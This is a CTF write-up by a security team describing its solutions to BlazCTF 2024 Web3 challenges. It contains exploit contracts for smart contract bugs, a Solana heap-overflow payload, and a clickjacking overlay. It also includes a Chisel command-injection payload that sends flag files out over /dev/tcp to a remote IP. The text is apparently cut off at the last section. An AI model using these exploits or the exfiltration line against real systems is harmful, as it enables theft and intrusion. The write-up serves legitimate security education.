BlazCTF 2024 Writeup

Amber Group
24 min readSep 30, 2024

--

Introduction

The BlazCTF 2024, hosted by Fuzzland, was an exhilarating 48-hour event packed with Web3 Capture The Flag (CTF) challenges. Security researchers from around the globe put their skills to the test, tackling everything from EVM smart contracts to blockchain security, wallet exploits, and cryptographic puzzles.

Our Amber Web3 Security team (competing as “Amber Labs”) proudly secured 7th place in this competitive arena. In this write-up, we’ll break down each challenge we faced, detailing the techniques and strategies we employed along the way.

Top 10 Teams

Challenges Overview

The challenges spanned a wide array of topics, including EVM smart contracts, MEV exploitation, blockchain security, wallet security, and cryptography. Participants delved into critical vulnerabilities, such as smart contract access control bypasses and sophisticated cross-chain bridge attacks.

Challenges Walkthrough

Ciao

This challenge involved analyzing an Arbitrum transaction: 0xd58271ed821a19fa5af95245e2be55782cad67f46556aa437e1af157267ce6d4. Using Phalcon to decode the transaction, we discovered an unusal string sent to the “KyberSwap Exploiter” as the “calldata”:

calldata sent to the “KyberSwap Exploiter”

Since it appeared to be ASCII in HEX format, we decoded it with an online decoder. To our surprise, the decoded string still resembled ASCII, prompting us to decode it again, which ultimately revealed the flag.

The online decoder

BigenLayer

The objective here was to steal TIM_COOK’s iPhone16 which had been staked into the BigenLayer contract. The contract snippet was as follows:

contract Challenge {
address public immutable PLAYER;
BigenLayer public immutable bigen;
iPhone16 public immutable token;

address public constant OWNER = 0x71556C38F44e17EC21F355Bd18416155000BF5a6;
address public constant TIM_COOK = 0x2011082420110824201108242011082420110824;

constructor(address player) {
PLAYER = player;
token = new iPhone16();
bigen = new BigenLayer(OWNER, token);

token.approve(address(bigen), type(uint256).max);
bigen.stake(TIM_COOK, 16 * 10 ** 18);
}

function isSolved() external view returns (bool) {
return token.balanceOf(PLAYER) >= 16 * 10 ** 18;
}
}

In the BigenLayer contract, the requestWithdrawal() function is designed to initiate a withdrawal with two parameters, amount and recipient. Later on, any user can call the finalizeWithdrawal() to literally transfer amount of iPhone16 to the recipient. However, only TIM_COOK can requestWithdrawal() for himself by design. We cannot do it for him unless we have the private key of the OWNER. Specifically, the adminRequestWithdrawal() can initiate a withdrawal with arbitrary (amount, recipient) for any user including TIM_COOK.

function adminRequestWithdrawal(address user, uint256 amount, address recipient) external {
require(msg.sender == owner, "Only owner can call this function");
_requestWithdrawal(user, amount, recipient);
}

Solution

The key to solving this challenge is the private key of OWNER (0x71556C38F44e17EC21F355Bd18416155000BF5a6). After googling the address for a while, we found the private key in a document named xaviers.txt. We then executed the following:

adminRequestWithdrawal(TIM_COOK, 16 * 10 ** 18, PLAYER); // with OWNER's private key 0x000...1337
finalizeWithdrawal(TIM_COOK);

It’s worth noting that the OWNER began with no ETH. We first sent some ETH from PLAYER to OWNER before making the adminRequestWithdrawal() call.

8Inch

This challenge revolved around stealing 10 wojak assets from the NFT marketplace-like contract, TradeSettlement. The 10 wojak were transferred into the marketplace contract via a createTrade() call, selling them for 1 weth. One obvious way out was the settleTrade() function. If we had 1 weth, we could simply take the order. However, the PLAYER started with nothing — 0 weth and 0 wojak.

Precision Error

At first glance, we spotted a precision error in the settleTrade() function. If _amountToSettlewas less than 10 (e.g., 9), tradeAmount / trade.amountToSell would be 9 * 1 / 10 = 0. Then, we could spend 0 weth to get 9 wei of wojak. Unfortunately, this method proved ineffective, as we couldn’t get amass enough wojak before the instance reset.

function settleTrade(uint256 _tradeId, uint256 _amountToSettle) external nonReentrant {
Trade storage trade = trades[_tradeId];
require(trade.isActive, "Trade is not active");
require(_amountToSettle > 0, "Invalid settlement amount");
uint256 tradeAmount = _amountToSettle * trade.amountToBuy;

require(trade.filledAmountToSell + _amountToSettle <= trade.amountToSell, "Exceeds available amount");

require(
IERC20(trade.tokenToBuy).transferFrom(msg.sender, trade.maker, tradeAmount / trade.amountToSell),
"Buy transfer failed"
);
require(IERC20(trade.tokenToSell).transfer(msg.sender, _amountToSettle), "Sell transfer failed");
}

SafeUint112

Couple hours later, we revisited this challenge and identified something interesting in the SafeUint112 library. Specifically, the require(uint256(a) * b <= (1 << 112), … statement in safeMul() could make an overflowed multiplication legit when the product is exactly (1 << 112). For example, safeMul(0x8000..000, 2) would not be reverted. Instead, 0 would be returned.

/// @dev safeMul is a function that multiplies two uint112 values, and reverts on overflow
function safeMul(uint112 a, uint256 b) internal pure returns (uint112) {
require(uint256(a) * b <= (1 << 112), "SafeUint112: value exceeds uint112 max");
return uint112(a * b);
}

Additionally, in safeCast(), if the value exactly equals (1 << 112), it would return0 with no error. For example, safeCast(0x7fff..fff + 1) would not be reverted but 0 would be returned.

/// @dev safeCast is a function that converts a uint256 to a uint112, and reverts on overflow
function safeCast(uint256 value) internal pure returns (uint112) {
require(value <= (1 << 112), "SafeUint112: value exceeds uint112 max");
return uint112(value);
}

scaleTrade function

So, how to trigger the flawed safeMul()? The scaleTrade() function seemed buggy. We could intentionally scaleTrade() an order to make amountToBuy=0 and amountToSell > 0. Then, the we could pay 0 weth and walk away with a bag of wojak.

function scaleTrade(uint256 _tradeId, uint256 scale) external nonReentrant {
require(msg.sender == trades[_tradeId].maker, "Only maker can scale");
Trade storage trade = trades[_tradeId];
require(trade.isActive, "Trade is not active");
require(scale > 0, "Invalid scale");
require(trade.filledAmountToBuy == 0, "Trade is already filled");
uint112 originalAmountToSell = trade.amountToSell;
trade.amountToSell = safeCast(safeMul(trade.amountToSell, scale));
trade.amountToBuy = safeCast(safeMul(trade.amountToBuy, scale));
uint256 newAmountNeededWithFee = safeCast(safeMul(originalAmountToSell, scale) + fee);
if (originalAmountToSell < newAmountNeededWithFee) {
require(
IERC20(trade.tokenToSell).transferFrom(
msg.sender, address(this), newAmountNeededWithFee - originalAmountToSell
),
"Transfer failed"
);
}
}

For example, when amountToSell=1 and amountToBuy=0x8000..000, you could simply scaleTrade(, 2) to make amountToSell=2and amountToBuy=0.

Solution

Since each scaleTrade() costs fee, we first exploited the precision error bug to get some wojak for fees.

//get some wojak
for (uint256 i = 0; i < 20; i++) {
IBar(market).settleTrade(0, 9);
}

Next, we created an order with a large _amountToBuy=0x8000..000, which would be 0 after one scaleTrade(, 2). Here, we intentionally set the _amountToSell=fee + 1 simply because createTrade() setting amountToSell = _amountToSell — fee so that we could have a minimal amountToSell=1.

//create trade
IERC20(wojak).approve(market, IERC20(wojak).balanceOf(address(this)));
IBar(market).createTrade(wojak, wojak, 31, 0x8000000000000000000000000000);

Afterward, we manipulated the numbers and created some fake records on the marketplace. First, the scaleTrade(1, 2) call made (amountToSell, amountToBuy) to (2, 0). It seemed good for us to get 2 wojak for free. However, it’s not good enough.

//scale trade to create fake records
IBar(market).scaleTrade(1, 2);
IBar(market).scaleTrade(1, 0x8000000000000000000000000000-15);

The black magic was scale the order again to let amountToBuy = (1<<112) — fee. This way, the newAmountNeededWithFee in scaleTrade() would be 0, meaning that we didn’t need to pay for the scaleTrade() call but get a huge amountToBuy. Since the amountToBuy was 2 after the first scaleTrade() call, the scale parameter then should be ((1<<112) — fee)/2) = 0x8000000000000000000000000000–15.

//take wojak out
IBar(market).settleTrade(1, IERC20(wojak).balanceOf(market));

//wrap up
IERC20(wojak).transfer(address(0xc0ffee), 10 ether);
require(IFoo(chal).isSolved(), "!solved");

With the fabricated order records, we successfully settled the order and obtained an arbitrary number of wojak with 0 weth. After that, we could transfer 10 wojak to 0xc0ffee and solve the challenge.

Doju

This objective of this challenge was to get a huge amount of Doju tokens.

contract Challenge {
Doju public doju;

constructor() {
doju = new Doju();
}

function claimTokens() public {
doju.transfer(msg.sender, doju.balanceOf(address(this)));
}

function isSolved() public view returns (bool) {
return doju.balanceOf(address(0xc0ffee)) > type(uint256).max / 2;
}
}

Initially, the Challenge started with100 Doju tokens. Anyone could claimTokens() to get that 100 Doju but it’s far from the desired amount (i.e., type(uint256).max / 2 + 1).

constructor() {
// total supply of 100 tokens
totalSupply = 100 ether;
balanceOf[msg.sender] = 100 ether;

// pre-mint max tokens to contract
balanceOf[address(this)] = type(uint256).max - totalSupply;
}

The Vulnerability

We soon discovered something intriguing in the sellTokens() funciton. While it’s standard to send ETH to the to address but the long calldata, (minOut, to, tokenAmount, msg.sender, ethValue) looked suspicious.

function sellTokens(uint256 tokenAmount, address to, uint256 minOut) public {
uint256 ethValue = _tokensToEth(tokenAmount);
_transfer(msg.sender, address(this), tokenAmount);
totalSupply -= tokenAmount;
(bool success,) =
payable(to).call{value: ethValue}(abi.encodePacked(minOut, to, tokenAmount, msg.sender, ethValue));
require(minOut > ethValue, "minOut not met");
require(success, "Transfer failed");
emit Burn(msg.sender, tokenAmount);
emit Transfer(msg.sender, address(0), tokenAmount);
}

If we could call the Doju contract itself with a customized calldata, we might have to chance to do something evil.

function transfer(address to, uint256 value) public returns (bool success) {
if (to == BURN_ADDRESS) {
sellTokens(value, msg.sender, 0);
return true;
}
_transfer(msg.sender, to, value);
return true;
}

The transfer() function was a perfect candidate. A customized minOut could be used to control the 4-bytes function signature and the first 16 bytes of the to address. And, the first 4 bytse of the Doju address would be the last 4 bytes of the to address while the rest of the Doju adderss would be the higher bits of the value. This meant we could somehow make Doju transfer some Doju to a controllable address. The following table illustrates how we could construct the calldata to play a trick on the Doju contract:

offset (byte) : 0        4             32       36        64   68
sellTokens() : <--- minOut ---> <--- Doju ---> <--- tokenAmount --->
a9059cbb 000 ... XXXXX YYYYYYYY ... YYYYY 00000 ... 000
transfer() : < sig > <--- to ---> <--- value --->

Solution

Since the Doju address started with 0xC47fCC04, we generated an address matching the XXX..XXXc47fcc04 pattern with profanity2. Then, with two sellTokens() calls as follows, we could get enough Doju tokens:

address doju = IFoo(chal).doju();
IBar(doju).sellTokens(0, doju, 0xa9059cbb000000000000000000000000f5171A3CA07Cb68267Ca5EE568f40DFa);
// ^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// sig of transfer() first 16 bytes of the vanity addr
IBar(doju).sellTokens(0, doju, 0xa9059cbb000000000000000000000000f5171A3CA07Cb68267Ca5EE568f40DFa);
require(IBar(doju).balanceOf(address(0xf5171A3CA07Cb68267Ca5EE568f40DFaC47fCC04)) > type(uint256).max/2, "!solved");

Finally, we transferred those Doju tokens to 0xc0ffee and solved the challenge.

Oh Fuck

This challenge was about finding a path to transfer 337 AMAZING tokens out from the PendleRouterV3, which was deployed at 0x00000000005BBB0EF59571E58418F9a4357b68A0.

function _transferOut(address token, address to, uint256 amount) internal {
if (amount == 0) return;
if (token == NATIVE) {
(bool success, ) = to.call{value: amount}("");
require(success, "eth send failed");
} else {
IERC20(token).safeTransfer(to, amount);
}
}

Upon examining the codebase, we realized that the _transferOut() function provided an opportunity. Then, we started to find the path to a _transferOut() call with controllable parameters.

function _redeemSyToToken(
address receiver,
address SY,
uint256 netSyIn,
TokenOutput calldata out,
bool doPull
) internal returns (uint256 netTokenOut) {
SwapType swapType = out.swapData.swapType;

if (swapType == SwapType.NONE) {
netTokenOut = __redeemSy(receiver, SY, netSyIn, out, doPull);
} else if (swapType == SwapType.ETH_WETH) {
netTokenOut = __redeemSy(address(this), SY, netSyIn, out, doPull); // ETH:WETH is 1:1

_wrap_unwrap_ETH(out.tokenRedeemSy, out.tokenOut, netTokenOut);

_transferOut(out.tokenOut, receiver, netTokenOut);
} else {
uint256 netTokenRedeemed = __redeemSy(out.pendleSwap, SY, netSyIn, out, doPull);

IPSwapAggregator(out.pendleSwap).swap(out.tokenRedeemSy, netTokenRedeemed, out.swapData);

netTokenOut = _selfBalance(out.tokenOut);

_transferOut(out.tokenOut, receiver, netTokenOut);
}

if (netTokenOut < out.minTokenOut) {
revert Errors.RouterInsufficientTokenOut(netTokenOut, out.minTokenOut);
}
}

We identified the _redeemSyToToken() function which invoked _transferOut() with a controllable out data structure and receiver in the else case (i.e., swapType != SwapType.NONE and swapType != SwapType.ETH_WETH).

function redeemSyToToken(
address receiver,
address SY,
uint256 netSyIn,
TokenOutput calldata output
) external returns (uint256 netTokenOut) {
netTokenOut = _redeemSyToToken(receiver, SY, netSyIn, output, true);
emit RedeemSyToToken(msg.sender, output.tokenOut, SY, receiver, netSyIn, netTokenOut);
}

Moreover, the external function redeemSyToToken() calls _redeemSyToToken() without checking or altering output and receiver parameters.

Solution

Based on the analysis above, we deployed an exploit contract which called the redeemSyToToken() function of PendleRouterV3 with dummy redeem() and swap() external functions. With the well-prepared out data structure, we could trick PendleRouterV3 to redeem and swap nothing but transfer all out.token out.

function test_go() public {
address pendle = address(0x00000000005BBB0EF59571E58418F9a4357b68A0);
address token = IFoo(chal).token();
SwapData memory s = SwapData({
swapType: SwapType.ONE_INCH,
extRouter: address(this),
extCalldata: hex"",
needScale: false
});

TokenOutput memory out = TokenOutput({
tokenOut: token,
minTokenOut: 0,
tokenRedeemSy: address(this),
pendleSwap: address(this),
swapData: s
});

IBar(pendle).redeemSyToToken(address(this), address(this), 0, out);
IERC20(token).transfer(msg.sender, 337 ether);
}

function redeem(address, uint256, address, uint256, bool) external returns (uint256) {
return 0;
}

function swap(address, uint256, SwapData calldata) external payable {
}

After successfully extracting 1337 AMAZING from the victim contract, we could easily send those AMAZING tokens to the PLAYER address (i.e., the msg.sender to trigger the exploit contract) and solve the challenge.

Teragas

In this King of the Hill (KotH) challenge, the player must deploy a contract with an exploit() external function to gather ETH on forked Ethereum chain. Initially, it seemed impossible to collect ETH without exploiting existing vulnerabilities. However, after reviewing the implementation of the light-client, we discovered that the call instruction was not implemented correctly. In particular, whenever a call reverts, the states would not be reset. It meant we could somehow keep the state changes (e.g., token balances) in a reverted call. Based on that, we soon started to implement different kinds of flash-loan libraries which could easily get lots of weth.

UniswapV2

The UniswapV2’s flash-swap was the first one we implemented. We simply getReserves() and called swap() with try-catch to ignore the revert and get WETH back. Note that WETH could be in token0 or token1. Therefore, we had UniV20 and UniV21 libraries to fit different WETH pools without spending extra gas for token0() or token1() staticalls.

library UniV20 {
function exploit(address target) internal {
(uint112 balance,,) = IBar(target).getReserves();
try IBar(target).swap(balance - 1, 1, address(this), "") {} catch {}
}
}

library UniV21 {
function exploit(address target) internal {
(, uint112 balance,) = IBar(target).getReserves();
try IBar(target).swap(1, balance - 1, address(this), "") {} catch {}
}
}

UniswapV3

The UniswapV3’s flash() was also an easy one, similar to UniswapV2’s flash-swap. Fortunately, all V3 pools had WETH in token1. We only implemented the token1 style UniV3 library by getting the WETH balance of the pool and invoke the flash() function.

library UniV3 {
function exploit(address target) internal {
uint256 bal = IFoo(weth).balanceOf(target);
try IBar(target).flash(address(this), 0, bal-1, "") {} catch {}
}
}

Aave & Balancer

Aave and Balancer have a similar flash-loan feature. The tokens and the amounts to borrow were put into arrays and passed into the flashLoan() function except that Aave had a third array for modes.

library Aave {
function exploit(address target) internal {
address[] memory assets = new address[](1);
assets[0] = weth;
uint256[] memory amounts = new uint256[](1);
amounts[0] = IFoo(weth).balanceOf(target);
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
address pool = IBar(target).POOL();
try IBar(pool).flashLoan(address(this), assets, amounts, modes, address(this), "", 0) {} catch {}
}
}

library Balancer {
function exploit(address target) internal {
address[] memory tokens = new address[](1);
tokens[0] = weth;
uint256[] memory amounts = new uint256[](1);
amounts[0] = IFoo(weth).balanceOf(target);
try IBar(target).flashLoan(address(this), tokens, amounts, "") {} catch {}
}
}

GemJoin

After implementing the above flash-loan libraries, we noticed that the top 2 WETH holders were MakerDAO’s GemJoin contracts. This was an interesting one since GemJoin.join() updates states before transferFrom() which was doomed to fail.

function join(address usr, uint wad) external note {
require(live == 1, "GemJoin/not-live");
require(int(wad) >= 0, "GemJoin/overflow");
vat.slip(ilk, usr, int(wad));
require(gem.transferFrom(msg.sender, address(this), wad), "GemJoin/failed-transfer");
}

Since the states were created, we could simply GemJoin.exit() to get WETH out with the fabricated states.

library GemJoin {
function exploit(address target) internal {
uint256 balance = IFoo(weth).balanceOf(target);
target.call(abi.encodeWithSignature("join(address,uint256)", address(this), balance));
target.call(abi.encodeWithSignature("exit(address,uint256)", address(this), balance));
}
}

Solution

Using the libraries outlined above, we searched the supported pools from top 50 WETH holders and included them all in our exploit() function.

function exploit() public payable {
GemJoin.exploit(0xF04a5cC80B1E94C69B48f5ee68a08CD2F09A7c3E); // 1
GemJoin.exploit(0x2F0b23f53734252Bda2277357e97e1517d6B042A); // 2
Aave.exploit(0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8); // 3
Aave.exploit(0x030bA81f1c18d280636F32af80b9AAd02Cf0854e); // 4
UniV3.exploit(0xCBCdF9626bC03E24f779434178A73a0B4bad62eD); // 6
Aave.exploit(0x59cD1C87501baa753d0B5B5Ab5D8416A45cD71DB); // 8
GemJoin.exploit(0x08638eF1A205bE6762A8b935F5da9b700Cf7322c); // 9
Balancer.exploit(0xBA12222222228d8Ba445958a75a0704d566BF2C8); //10
UniV21.exploit(0x21b8065d10f73EE2e260e5B47D3344d3Ced7596E); //11
UniV20.exploit(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852); //13
UniV3.exploit(0x4e68Ccd3E89f51C3074ca5072bbAC773960dFa36); //14
UniV3.exploit(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640); //15
UniV3.exploit(0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8); //16
UniV3.exploit(0x4585FE77225b41b697C938B018E2Ac67Ac5a20c0); //17
UniV21.exploit(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc); //19
Aave.exploit(0xfA1fDbBD71B0aA16162D76914d69cD8CB3Ef92da); //20
UniV3.exploit(0xC5c134A1f112efA96003f8559Dba6fAC0BA77692); //30
UniV3.exploit(0x202A6012894Ae5c288eA824cbc8A9bfb26A49b93); //33
UniV3.exploit(0x7A415B19932c0105c82FDB6b720bb01B0CC2CAe3); //35
UniV21.exploit(0xA43fe16908251ee70EF74718545e4FE6C5cCEc9f); //36
UniV3.exploit(0x15aA01580ae866f9FF4DBe45E06e307941d90C7b); //38
UniV21.exploit(0xCEfF51756c56CeFFCA006cD410B03FFC46dd3a58); //39
GemJoin.exploit(0x2D3cD7b81c93f188F3CB8aD87c8Acc73d6226e3A); //41
UniV3.exploit(0x059615EBf32C946aaab3D44491f78e4F8e97e1D3); //43
UniV3.exploit(0x40e629a26D96baa6d81FAe5F97205c2Ab2c1fF29); //44
UniV3.exploit(0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa); //45
UniV3.exploit(0x04708077eCa6bb527a5BBbD6358ffb043a9c1C14); //46
UniV3.exploit(0x11b815efB8f581194ae79006d24E0d814B7697F6); //50

// collect eth
uint256 bal = IFoo(weth).balanceOf(address(this));
IFoo(weth).withdraw(bal-1);
}

Finally, we did WETH.withdraw() to convet WETH to 1532119 ETH.

Oh Fuck Again

This was a reverse-engineering challenge. The player was asked get 337 WBTC tokens from 0xCf9997FF3178eE54270735fDc00d4A26730787E0 without source code.

Since we aimed to transfer WBTC from the victim contract to an arbitrary address, we searched the transfer() calls in the decompiled Solidity code. As shown in the screenshot above, the function 0x10b2() appeared to be a promising candidate for transferring WBTC. Specifically, the three parameters of 0x10b2() were (amount, to, token), which indicated that we could send an arbitrary amount of tokens to an arbitrary to address.

Next, we needed to find a path to 0x10b2(). At the end of the dispatcher, we found a suitable candidate to trigger 0x10b2(). The calls msg.sender.token0() or msg.sender.token1() were used to get the token address (v91). The to address was already set to the msg.sender. We only needed to prepare a proper v87, which was part of calldata (i.e., msg.data[v0] >> 128).

But how could we reach the end of the dispatcher? We needed to ensure that v11 — v0 = 16 so that we could jump to the else case mentioned above. Here, v0 was 132 and v11 was calculated as v0 + msg.data[v0 -32] — 17 which simplified tomsg.data[100] + 116. From this, we could easily derive msg.data[100] = v11–116 = (v0+16) — 116 = 33.

Solution

Based on our analysis, we could deploy an exploit contract that made an external call to the victim contract with msg.data[100] = 33 to trigger the else case. Then, the token to transfer could be simply controlled through an external view function, token0(). The amount to transfer could be embedded in the higher 128 bits of msg.data[132].

function test_go() public {
address victim = address(0xCf9997FF3178eE54270735fDc00d4A26730787E0);
address wbtc = IFoo(chal).token();
(bool ok,) = victim.call(
abi.encodePacked(
bytes4(0x11223344),
uint256(0), // msg.data[ 4]
uint256(0), // msg.data[ 36]
uint256(0), // msg.data[ 68]
uint256(33), // msg.data[100]
uint128(1337000000000000000000), uint128(0), // msg.data[132]
uint256(0), // msg.data[164]
uint256(0) // msg.data[196]
)
);
require(ok, "call failed");
IERC20(wbtc).transfer(msg.sender, 1337000000000000000000);
require(IFoo(chal).isSolved(), "!solved");
}

function token0() external view returns (address) {
address wbtc = IFoo(chal).token();
return wbtc;
}

After receiving 1337 WBTC from the victim contract, we could easily send WBTC to the PLAYER address (i.e., the msg.sender to trigger the exploit contract) and complete the challenge.

Tonyallet

Tonyallet was a Telegram Mini App where users can write and view posts. An admin runs the following script to check posts:

# Visit the post page
selenium_obj.get(f"{host}/post?id={post_id}")
time.sleep(1)

# Click the back button
screen_width = selenium_obj.execute_script("return window.screen.width;")
ActionChains(selenium_obj) \
.move_by_offset(screen_width / 2, 10) \
.click() \
.perform()
time.sleep(1)

# Open the home page with TG App initData
selenium_obj.get(f"{host}/#tgWebAppData=" + open("tgWebApp.txt").read())
time.sleep(2)

# Read id=walletAddress
wallet_address = selenium_obj.find_element(By.ID, "walletAddress").text
if not re.match(r"^0x[a-fA-F0-9]{40}$", wallet_address):
return "Failed to get wallet address"

# Send 0.1 ether to the wallet address
os.system(f"cast send --private-key {os.getenv('PRIVATE_KEY')} {wallet_address} --value 0.1ether --rpc-url {os.getenv('RPC_URL')}")

The script performed the following steps:

1. Visits the post page.
2. Clicks the back button.
3. Opens the home page with TG App initData.
4. Reads the wallet address.
5. Sends 0.1 ether to the wallet address.
6. The goal is to make the admin send 0.1 ether to the user’s wallet.

Solution

To hijack the wallet address that Selenium retrieved from the page in step 4, we could send a post containing an HTML tag. XSS with JavaScript wasn’t feasible because the content was sanitized by the latest version of DOMPurify.sanitize.

Since the admin clicked a button on the page in step 2, we could overlay our HTML tag over the button using CSS.

This way, the admin would click our HTML tag instead of the button, redirecting them to a URL we controlled.

<a href="#" style="position: absolute; top: 0px; width: 1000px; height: 1000px;">aaa</a>

The page at https://tonyallet-us.ctf.so/#tgWebAppData= indicated that the wallet address had been cached in the local storage:

let localAddress = localStorage.getItem("walletAddress");
if (localAddress && !bypass) {
document.getElementById('walletAddress').textContent = localAddress;
}

We could redirect the admin’s click to our wallet page in step 2, causing our wallet address to be cached in the local storage.

When the admin viewed https://tonyallet-us.ctf.so/#tgWebAppData= again in step 3 and read the wallet address in step 4, it would show our address.

Consequently, we would get the 0.1 ETH in our wallet in step 5. Here’s the final payload:

<a href="https://tonyallet-us.ctf.so/#tgWebAppData=_fill_with_your_tgWebAppData" style="position: absolute; top: 0px; width: 1000px; height: 1000px;">aaa</a>

Solalloc

The challenge was a Solana program that allowed users to deposit SOL tokens, but only the program owner could withdraw them.

case WITHDRAW: {
...
// only owner can withdraw
if (memcmp(accounts[DATA_ACCOUNT].data, &caller_key,
SIZE_PUBKEY) != 0) {
return ERROR_BLAZ;
}
...

The SOL tokens were stored in a data account, and the goal was to withdraw SOL tokens from the data account.

Solution

When depositing and withdrawing, we could write a message on the heap.

case WITHDRAW: {
offset += sizeof(uint64_t);
uint64_t amount = current_input->amount;
offset += sizeof(uint64_t);
char *message =
(char *)malloc(allocator, current_input->msg_size);

if (message != NULL) {
strcpy(message, (char *)&current_input->msg);
offset += strlen(message) + 1;
}
...

The program implemented a malloc function that was vulnerable to integer overflow. We could make free_ptr point to a location below the heap start address.

void *malloc(BlazAllocator *self, uint64_t size) {
if (size == 0) {
return NULL;
}

uint64_t size_aligned = (size + 7) & ~7;

if (self->free_ptr + size_aligned > HEAP_END_ADDRESS_) {
return NULL;
}

uint64_t *ptr = (uint64_t *)self->free_ptr;
self->free_ptr += size_aligned;

return ptr;
}

The virtual address memory map in Solana programs was laid out as follows:

Program code starts at 0x100000000
Stack data starts at 0x200000000
Heap data starts at 0x300000000
Program input parameters start at 0x400000000

To bypass the memcmp(accounts[DATA_ACCOUNT].data, &caller_key, SIZE_PUBKEY) check, we needed to overwrite the caller_key which was stored in the stack.

Overwriting the owner field of the data account was not possible because it was located above the heap.

By leveraging the integer overflow in malloc, we could make free_ptr point to the caller_key in the stack and overwrite it with a message we controlled.

Here’s the final payload:

def userinput(bump, type, amount, msg_size, msg):
return pwn.p8(bump) + pwn.p8(type) + pwn.p64(amount) + pwn.p64(msg_size) + msg

instruction_data = b""
instruction_data += b"\x02" # actions len
instruction_data += userinput(bump, 1, 1, 0xffffffff00000fd8, b'\x00') # 0x1ffffffe0 deposit to change free pointer
assert b'\x00' not in base58.b58decode(accounts["admin"])
instruction_data += userinput(bump, 2, 2_000_000_000, 8, base58.b58decode(accounts["admin"]) + b'\x00') # withdraw overwrite data owner

This payload manipulated the free_ptr to point to the caller_key in the stack, allowing us to overwrite it and bypass the ownership check, thus enabling the withdrawal of SOL tokens.

Chisel as a Service

Chisel is the Solidity interpreter in Foundry, and this challenge provided a web interface to interact with Chisel running on the server.

The goal was to exploit Chisel to read the flag on the server.

Solution

Chisel has a built-in function !exec to execute shell commands, but it is filtered.

The !edit command works and opens vim by default.

// open the temp file with the editor
let editor = std::env::var("EDITOR").unwrap_or_else(|_| "vim".to_string());
let mut cmd = Command::new(editor);
cmd.arg(&temp_file_path);

We could use vm.setEnv cheatcode to set the EDITOR environment to a shell command and then use !edit to execute the command.

address vm = address(uint160(uint256(keccak256("hevm cheat code"))));
vm.call(abi.encodeWithSignature("setEnv(string,string)", "EDITOR", "ls"));

But it was not possible to control the arguments to the command. The command had one default arguments temp_file_path which was the file to be edited. The temp_file_path included the history of the solidity code executed in the chisel. We could set EDITOR to bash and execute our controlled solidity code. We needed to find a valid solidity code and also valid in bash to read the flag.

By using strings, we could execute arbitrary bash commands. Since stderr was not redirected, we needed to send the output via network.

Here’s the final payload:

"aaaa `cat /flag*.txt > /dev/tcp/xxx.xxx.xxx.xxx/1234`" ;
address vm = address(uint160(uint256(keccak256("hevm cheat code"))));
vm.call(abi.encodeWithSignature("setEnv(string,string)", "EDITOR", "bash"));
!edit

Cyber Cartel

This challenge involved stealing all ETH stored in the CartelTreasury contract. The obvious route was the doom() function, which sent all the ETH to msg.sender:

function doom() external guarded {
payable(msg.sender).transfer(address(this).balance);
}

However, this function could not be called easily because of the guarded modifier.

modifier guarded() {
require(bodyGuard == address(0) || bodyGuard == msg.sender, "Who?");
_;
}

This meant that the three people, Malone, Wiz, and Box, must all sign off to execute the doom() function. Alternatively, we could set bodyGaurd to address(0). Since the BodyGuard contract did not have a fallback function to receive ETH, an external call from BodyGuard to CartelTreasury.doom() would fail. Therefore, we first need to dismiss the bodyGuard using the gistCartelDismiss() function, then execute the doom() to steal the ETH.

/// Dismiss the bodyguard
function gistCartelDismiss() external guarded {
bodyGuard = address(0);
}

Next, we needed to deal with the BodyGuard contract and see if we could execute a proposal from one and the only guardian, Box.

function validateSignatures(bytes32 digest, bytes[] memory signaturesSortedBySigners) public view returns (bool) {
bytes32 lastSignHash = bytes32(0); // ensure that the signers are not duplicated

for (uint256 i = 0; i < signaturesSortedBySigners.length; i++) {
address signer = recoverSigner(digest, signaturesSortedBySigners[i]);
require(guardians[signer], "Not a guardian");

bytes32 signHash = keccak256(signaturesSortedBySigners[i]);
if (signHash <= lastSignHash) {
return false;
}

lastSignHash = signHash;
}

return true;
}

The validateSignatures() function seemed the new way out. We identified a flaw in the checking logic for duplicate signatures. Specifically, since each signaturesSortedBySigners[i] was hashed and compared with lastSignHash (i.e., signaturesSortedBySigners[i-1]), we could intentionally re-use a signature by padding dummy data in the end of the bytes[] array. As shown in the code snippets below, the recoverSigner() function retrieved (r, s, v) by offset and length. A longer signature didn’t matter but could be used to create a different hash value to bypass the check in validateSignatures().

function recoverSigner(bytes32 digest, bytes memory signature) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := byte(0, mload(add(signature, 96)))
}
return ecrecover(digest, v, r, s);
}

Since Box was a guardian, she could sign the digest message and then construct the signature array as follows:

bytes[] memory signatures;
signatures[0] = abi.encodePacked(r, s, v);
signatures[1] = abi.encodePacked(r, s, v, "padding");

This bypasses the multisig check. The gistCartelDismiss() function could then be called through the proposal.data to set the bodyGuard address to address(0), allowing any address to later call the doom() function and extract all the ETH.

Proof of Concept

A detailed proof of concept could be found here.

Tonylend & Tonylend2

The TonyLend is a decentralized lending protocol that allows users to deposit assets, borrow against their deposits, and withdraw their assets.

Challenge Contract

The Challenge contract deployed two ERC20 tokens, usde and usdc, and a lending protocol TonyLend. The goal was to meet the condition specified in the isSolved function. The isSolved function checked if the balance of usde in the address 0xc0ffee was at least 21926.

function isSolved() external view returns (bool) {
return usde.balanceOf(address(0xc0ffee)) >= 21926 ether;
}

The Vulnerability — 1

The withdraw function in the TonyLend contract had a critical flaw in its implementation. The issue lied in the order of operations within the function. Specifically, the function first checked the healthFactor before reducing the account.deposited balance. This sequence allowed a user to withdraw their collateral even if it resulted in under-collateralization.

function withdraw(uint256 _assetId, uint256 _amount) external nonReentrant {
require(_assetId < assetCount, "Invalid asset");
require(_amount > 0, "Amount must be greater than 0");

updateInterest(msg.sender, _assetId);

UserAccount storage account = userAccounts[msg.sender];
Asset storage asset = assets[_assetId];

require(account.deposited[_assetId] >= _amount, "Insufficient balance");

uint256 healthFactor = calculateHealthFactor(msg.sender);
require(healthFactor >= PRECISION, "Withdrawal would result in undercollateralization");

account.deposited[_assetId] -= _amount;
asset.totalDeposited -= _amount;

require(asset.token.transfer(msg.sender, _amount), "Transfer failed");

emit Withdraw(msg.sender, _assetId, _amount);
}

Solution — 1

// SPDX-License-Identifier: UNLICENSED
